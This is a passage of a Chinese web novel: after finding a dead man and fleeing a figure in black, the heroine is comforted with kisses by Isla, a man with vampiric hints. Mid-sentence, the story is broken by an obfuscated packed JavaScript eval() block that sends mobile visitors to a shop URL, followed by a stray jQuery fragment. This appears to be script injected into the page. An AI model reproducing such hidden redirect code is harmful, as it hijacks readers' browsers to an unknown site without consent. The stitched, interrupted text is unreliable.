斜后方的树影间隙中有细小的月影随着微风漂浮在灌木丛中,风轻吹过沙沙作响。
林望水盯着那处,什么都没看到。
躺在地上的男人好像已经没有了生气,手彻底地松开了她的脚踝,滚到石子路上。
她又低头看了眼,飞快地后退开,再次抬眼时,瞥见那道树影深沉的隐匿处有一片更加暗色的痕迹,像是……像是黑色衣服的衣角。
淡色斑影微一轻摇,照亮了静静踩在草丛中的黑色男士鞋头。
有人站在阴影处,并且正在看她!
意识到这个,林望水手脚发软,视线想要从那道躲在暗处的人身上移开,却好似被冰冻住了,无论心里怎么想着要跑,不要再看了,她就是没办法从这种呆立的状态中脱离。
她知道自己是被正面撞见凶手的事实吓傻了。
黑衣人抬起腿,往前面走了一步,再次踩中枯枝,“咔嚓”声凭空响起。
她更加清楚的看见了他的半个身体,完全被黑色包裹着。
不、不。
她不能愣住。
林望水倒退着踉跄几步,转过身,控制着她沉重的四肢,努力地迈开脚步。耳鼓声剧烈地躁动着,风声猎猎地刮过脸颊。
她的脚步声在寂静的小路上杂乱地响起。几秒过后,她听见了背后传来除了她另一道走动的声音。
相比她细碎而慌乱的步伐,他的要从容得多,像是在追捕一个早就视为囊中之物的猎物,颇有耐心地戏弄着。
弱小的猎物以为自己有逃脱的机会,却在最有希望的时刻被精准而直接地一口咬住喉咙,发出惊恐而绝望的叫声。
林望水越跑越快,无暇辨别脚下的路和自己奔向的方向。眼前的景象都粘连成一团,随着她的奔跑节奏上下左右地晃动,她渐渐地感到一股眩晕,身体最深处散发出来一股让人无法忽视的强劲热意。
迈开去的右脚停顿了一下,她摸住自己的额头,脊背微弯地喘着气。肺叶像破败的风箱一样拉扯。
她这是怎么了???
糟糕,怎么身体偏偏这个时候不舒服……
她停下来后,身后不远处的不紧不慢的脚步声在空气中愈发地放大,并且很明显地在逐渐向她靠近,每一下踩在地面上,就犹如丧钟在她耳边嗡鸣。
林望水用力地吸了口气,抬眼,前面是一道拐弯,拐过去是一道楼栋的围墙和杂生的绿树。
她咬牙撑起身体,抬起灌铅似的双腿,抱着就算死也要拼尽她所有力气的想法,朝着前面冲去。
一步、两步、三步……
每一步都让她的喘气声越来越大,体力流失速度加快。
她终于转过了拐角,身体往前,又跑了大概十几步,忽地迎面撞上了一个人。
她根本没有注意到路上还有人,处于剧烈的恐慌之下,全身的肌肉都紧绷着,撞上那人胸膛的那一瞬间,她下意识地颤抖身体,险些呜咽出声。
她缩着身体要后退,那个人伸手扯住她,双手放在她的肩膀上,把她的身体扶正。
“你怎么了?”
面前人的声音和姿势都很熟悉。
林望水抬起眼皮,看见了一张她认识的脸。
“伊、斯拉?”
她睁大眼睛看着面前的人,不敢相信。
“是你吗,伊斯拉?”
她努力地在夜色中辨认面前人的长相,看清他偏灰的眸子,真的是伊斯拉。
他正微垂着头,关心地看着她:“你还好吗?发生什么事了?”
"有、有人在追我。"林望水精神恍惚地说,“我还看到了一个死人,躺在地上。”
伊斯拉闻言把她的身体揽到自己胸前。“放心,现在没有人在追你了。”
手下的身体还在微微地战栗着,他轻柔地抚摸过她的肩头。
“可是……”
可是她身后明明就有人在追她。
林望水停顿了一下,意识到什么。她仔细地去听四周的动静,除了她和伊斯拉的呼吸声,以及夏夜昆虫悉悉索索的细小鸣叫声,并无其他的动静,属于其他人的脚步声更是没有。
“怎么会?”
林望水喃喃出声,那个黑衣人怎么可能快要追到她了又突然放弃。是因为伊斯拉的出现吗?
对,应该是这样的,因为有其他人的出现,所以他不敢再出来。
幸好她碰到了伊斯拉。
身体方才急剧分泌的肾上腺素逐渐消退,随着脱离恐怖的处境,她身上那股被压下去的滚烫热意再度席卷而来。
她难受地哼了一声,靠在伊斯拉的身上。
他的体温好舒服,贴着他身体的地方好像没有那么难受了。那种感觉像是在最口干舌燥的时候喝上的一口冰水,缓解了她身体内部的热意。
伊斯拉抬手托住她的脑袋,让她的脸正面和他相对。
她完全没有察觉到她的脸上早已覆上了泪珠,泪痕残留在脸颊,眼睫毛湿漉漉的,眼珠子浸过了泪水,湿润剔透。因为还没有从刚才的遭遇中缓过劲儿来,看向他的眼神还有点带着放空的懵。
“你现在应该很难受吧?”伊斯拉垂下浅色的眼睫,半盖住他的灰眸,手指轻擦过她眼角残余的泪珠。“也许你正需要一个安抚,是吗?”
林望水还是那样看着他,没有说话。
他却也没有特意等她回应的意思,俯下身,唇触上她的脸颊。
林望水似是回过神来了,视线聚焦后看向伊斯拉离她几厘米距离的眼睛。
她没有推开他,因为靠近他的时候能够缓解身体里奇怪的异样燥热。
而且,他托着她脸颊的姿势虽然轻柔,但是却很强硬。
伊斯拉的瞳孔向上移动一点,与林望水的视线对上。
他松开一只手,轻放在她的眼皮上,把她的眼皮合上。
“这种时候,不看我比较好。”
他的手转而去揽住她的腰,唇再度落下,从她的脸颊右侧下巴顺着泪痕,细密地吻到眼睫处。
亲吻她薄薄的眼皮时,能够感受到她轻微地颤动,眼睫毛扫过他的皮肤,带着酥痒的感觉。
他稍微停顿了一下,忍不住反复地在眼皮上流连,过了一会儿才移
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746282|209304||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到左侧的脸颊,把唇贴在上面将那些残留着泪痕的地方全部覆盖。渐渐地往下,然后落在了靠近唇角的位置。
伊斯拉托着她脸的手向下滑,指尖捏住她的下巴向上抬,这是一个准备的姿势,以便他更好地垂头印上她的唇。
夜色里借着朦胧的月光,隐约可以看到她脸上泛红的颜色。
他重新凝视着她的唇,倾身覆上去。
温热的、柔软的、香甜的,先是轻轻贴住,而后不轻不重地挤压研磨,触过她的唇瓣的每一寸,沾染上他的气息。
而后像是面包吐司片夹住湿润的红豆馅料一样,对准角度,从两边由轻至重地贴合,直到红豆馅料被完整地包裹,和吐司片你我不分地混合着麦香红豆香。原本形状明晰的红豆馅料被推挤成了扁平摊开的一团。
林望水感受着他微凉的触碰后,身体内部涌动着的热意稍微降了一点,但是没有完全消失,还残存着大半。
后腰的手臂收紧了点,然后唇上贴上了一个偏尖的东西。还没有来得及细想是什么,她的下唇就传来一点刺痛感,快得像是她的错觉。
应该就是错觉,她以为的偏尖的东西消失不见了,她并没有感受到任何不适,贴着的仍旧是伊斯拉柔软的唇。
他吮吸舔舐着她下唇,动作间迫切了许多,连带着捏着她下巴的手指也紧了点。
林望水身体里那股带着眩晕让她不适的发热逐渐地消失了。
但是唇上的触碰让她生出了另外一股发软的生涩感觉。
她不知道那是什么,只知道她不排斥伊斯拉的安抚,她确实因为他的安抚暂时地从害怕的余韵中逃脱,同时还消除了莫名其妙的身体不适。
她睁开眼睛,入目是伊斯拉闭上的双眼。两个人呼吸缠绕,亲密万分。
伊斯拉缠着下唇好一会儿,才想起来被冷落的上唇,两片唇瓣一起抚弄。
林望水呼吸有些加快,视线无意识地飘向头顶暗沉的天空,忽然看见空阔的半空中出现了一只飞行的动物,它的翅膀对称地展开,薄薄的一片,迅速地从她和伊斯拉的头顶飞过。
那是……蝙蝠?
飞过她头顶的时候向下滑翔靠近她一点,而后再向上俯冲地离开,划出了一个半圆。
伊斯拉的唇稍微地和他分开,抬眸跟着她朝天上看了一眼。
“你不专心。”
林望水收回视线,小声反驳:“你安抚我的话,你专心就够了。”
伊斯拉没想到她会说出这种话来,微愣,然后笑了一声,落下一个轻吻。
“你的意思是我做得不够好?”
真可爱啊,这种时候说出来的话更加可爱了。
“不。”林望水摇头,皱眉认真地看向他,“你不好奇我和你说的那个躺在地上死掉的男人吗?他、他是酒吧那个男人。你知道他为什么会突然死吗?”
伊斯拉看向她,脸上带笑地否认:“我当然不知道。至于为什么不好奇……我不是对谁都好奇的。”
他的语调一如既往地温和,对她更是称得上温柔,但是不知为何,他的笑似乎有些凉薄。